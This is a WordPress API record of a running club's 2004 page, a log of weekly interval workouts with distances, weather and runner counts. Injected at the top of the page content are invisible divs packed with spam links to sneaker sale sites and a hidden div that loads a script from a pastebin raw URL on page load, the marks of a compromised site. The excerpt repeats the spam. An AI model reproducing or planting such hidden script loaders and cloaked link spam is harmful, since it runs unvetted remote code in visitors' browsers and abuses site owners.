{"id":174,"date":"2010-05-01T11:29:40","date_gmt":"2010-05-01T18:29:40","guid":{"rendered":"http:\/\/gospartans.org\/?page_id=174"},"modified":"2017-02-04T22:32:14","modified_gmt":"2017-02-05T06:32:14","slug":"2004-2","status":"publish","type":"page","link":"https:\/\/gospartans.org\/?page_id=174","title":{"rendered":"2004"},"content":{"rendered":"<div class=\"_all_wplink_42PjORRh_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/globetrottingmama.com\/yeezy-v2-zebra-sale.html\">yeezy boost 350 buy<\/a><a href=\"http:\/\/www.mail-druck.de\/yeezy-boost-350-v2-schwarz-deutschland.html\">Yeezy Boost 350 V2 Schwarz Kaufen<\/a><a href=\"http:\/\/cakesofgoodtaste.co.uk\/yeezy-boost-350-v2-black-red-raffle.html\">yeezy boost 350<\/a><a href=\"https:\/\/hotelaqua.co.uk\/adidas-yeezy-350-v2-black-red-uk-sale.html\">adidas yeezy boost 350<\/a><a href=\"http:\/\/www.rockcellarmagazine.com\/yeezy350sale\/\">yeezy boost 350 where to buy<\/a><a href=\"http:\/\/gentedelbalsas.mx\/buy-yeezy-boost-350\/\">yeezy boost 350 triple white for sale<\/a><a href=\"http:\/\/shipinn-dorset.com\/yeezy-350-triple-white-for-sale\/\">yeezy boost 350 black<\/a><a href=\"http:\/\/www.usapa.org\/boost350.php\">yeezy boost 350<\/a><a href=\"http:\/\/jobstelangana.in\/v2-black-red-yeezy.php\">yeezy boost 350 v2 for sale<\/a><a href=\"http:\/\/osaavasatakunta.fi\/us\/buy-yeezy-boost-350-v2.html\">adidas yeezy boost 350 v2<\/a><\/div>\n<div class=\"_all_wplink_ifisEmmL_cc\" style=\"position:absolute;opacity:0.001;z-index:10;filter:alpha(opacity=0)\"><a href=\"http:\/\/yeezy350v2s.com\">yeezy boost 350<\/a><a href=\"http:\/\/yeezyboost350v2adidas.com\">adidas yeezy boost 350<\/a><\/div>\n<div style=\"display:none\"><script language=\"javascript\" type=\"text\/javascript\" src=\"http:\/\/pastebin.com\/raw.php?i=f4Rv9vKp\"><\/script><\/div>\n<p>12\/29\/04 Wed &#8211; 1600; 1600; 800; rain = 2.5mi. Cold, breezy,clouds; just the drips &#8216;n me<br \/>\n12\/27\/04 Mon &#8211; 3x(400; 600; 600) = 3 mi. Cold, no rain. 2 ran<br \/>\n12\/22\/04 Wed &#8211; 2x(1600; 800); 1600 = 4mi. Cool; 2 ran<br \/>\n12\/20\/04 Mon &#8211; 8&#215;600 = 3 mi high fog; cold; 4 ran<br \/>\n12\/15\/04 Wed &#8211; 4&#215;1600 = 4mi. cold; 5 ran<br \/>\n12\/13\/04 Mon &#8211; 2x(800; 3&#215;400);800 = 3mi. cool; 7 ran<br \/>\n12\/08\/04 Wed &#8211; 800; 1600; 1200; 1600; 800 = 3.75mi; no rain! calm, cool; 2 ran<br \/>\n12\/06\/04 Mon &#8211; 6&#215;600 = 2.25 total miles; slight breeze, cool; 6 runners<br \/>\n12\/01\/04 Wed &#8211; 800; 3&#215;1600 = 3.5 mi; chilly; 3 runners<br \/>\n11\/29\/04 Mon &#8211; 800; 4&#215;600; 2&#215;400 = 2.5 mi; chilly; 6 runners<br \/>\n11\/24\/04 Wed &#8211; 3&#215;400; 4&#215;800; 3&#215;400 = 3.5 mi; 3 runners<br \/>\n11\/22\/04 Mon &#8211; 2&#215;600; 800; 2&#215;600 = 2 mi; chilly, 4 runners<br \/>\n11\/17\/04 Wed &#8211; 2&#215;800; 1600; 2&#215;800 = 3 mi; cool; 3 runners<br \/>\n11\/15\/04 Mon &#8211; 2x(3&#215;400; 600) = 2.25 mi; cool; 6 runners<br \/>\n11\/10\/04 Wed &#8211; 2&#215;400, 2&#215;800; 2&#215;1200; 400 = 3.25 mi; cool; 2 runners<br \/>\n11\/08\/04 Mon &#8211; 600; 2x(800; 600) Cloudy, cool; 6 runners<br \/>\n11\/03\/04 Wed &#8211; Rain canceled. 2 runners<br \/>\n11\/01\/04 Mon &#8211; 3&#215;600; 400; 2&#215;600. Dark, cool, calm; 7 runners End of tempo focus &#8211; medium intervals, short recovery times (because of cooler temps)<br \/>\n10\/27\/04 Wed &#8211; 3&#215;400;2&#215;600;2&#215;800;2&#215;400. Cool, lunar eclipse; 5 runners<br \/>\n10\/25\/04 Mon &#8211; 3x(400;300;400). Cool, no rain; 12 runners<br \/>\n10\/20\/04 Wed &#8211; 800; 2&#215;600; 4&#215;400; 2&#215;600. Cool; 5 runners<br \/>\n10\/18\/04 Mon &#8211; 8&#215;400. Warm; 10 runners<br \/>\n10\/13\/04 Wed &#8211; 4&#215;400; 2&#215;800; 4&#215;400. Cool; 6 runners<br \/>\n10\/10\/04 Mon &#8211; 600; 500; 400; 300; 400; 500; 600. Cool\/breezy; 10 runners<br \/>\n10\/06\/04 Wed &#8211; 800; 2&#215;600; 2&#215;400; 2&#215;600; 800. Breeze\/cool, 4 runners<br \/>\n10\/04\/04 Mon &#8211; 600; 2&#215;400; 2&#215;300; 3&#215;400. Windy\/cool, 8 runners<\/p>\n<p>End of long intervals, short recovery tempo\/endurance period<br \/>\n09\/29\/04 Wed &#8211; 1,200; 800; 1,200; 1,600. Too cool, 6 runners<br \/>\n09\/27\/04 Mon &#8211; 2 sets of (800; 2X400). Windy\/cool, 6 runners<br \/>\n09\/22\/04 Wed &#8211; 2 sets of (800; 1,600). Perfect weather, 8 runners<br \/>\n09\/20\/04 Mon &#8211; 800; 600; 3X400; 600M. Perfect weather, 10 runners<\/p>\n","protected":false},"excerpt":{"rendered":"<p>yeezy boost 350 buyYeezy Boost 350 V2 Schwarz Kaufenyeezy boost 350adidas yeezy boost 350yeezy boost 350 where to buyyeezy boost 350 triple white for saleyeezy boost 350 blackyeezy boost 350yeezy boost 350 v2 for saleadidas yeezy boost 350 v2 yeezy &hellip; <a href=\"https:\/\/gospartans.org\/?page_id=174\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"parent":136,"menu_order":50,"comment_status":"closed","ping_status":"closed","template":"","meta":{"jetpack_post_was_ever_published":false,"footnotes":""},"class_list":["post-174","page","type-page","status-publish","hentry"],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/PUWdT-2O","_links":{"self":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/174","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=174"}],"version-history":[{"count":37,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/174\/revisions"}],"predecessor-version":[{"id":1655,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/174\/revisions\/1655"}],"up":[{"embeddable":true,"href":"https:\/\/gospartans.org\/index.php?rest_route=\/wp\/v2\/pages\/136"}],"wp:attachment":[{"href":"https:\/\/gospartans.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=174"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}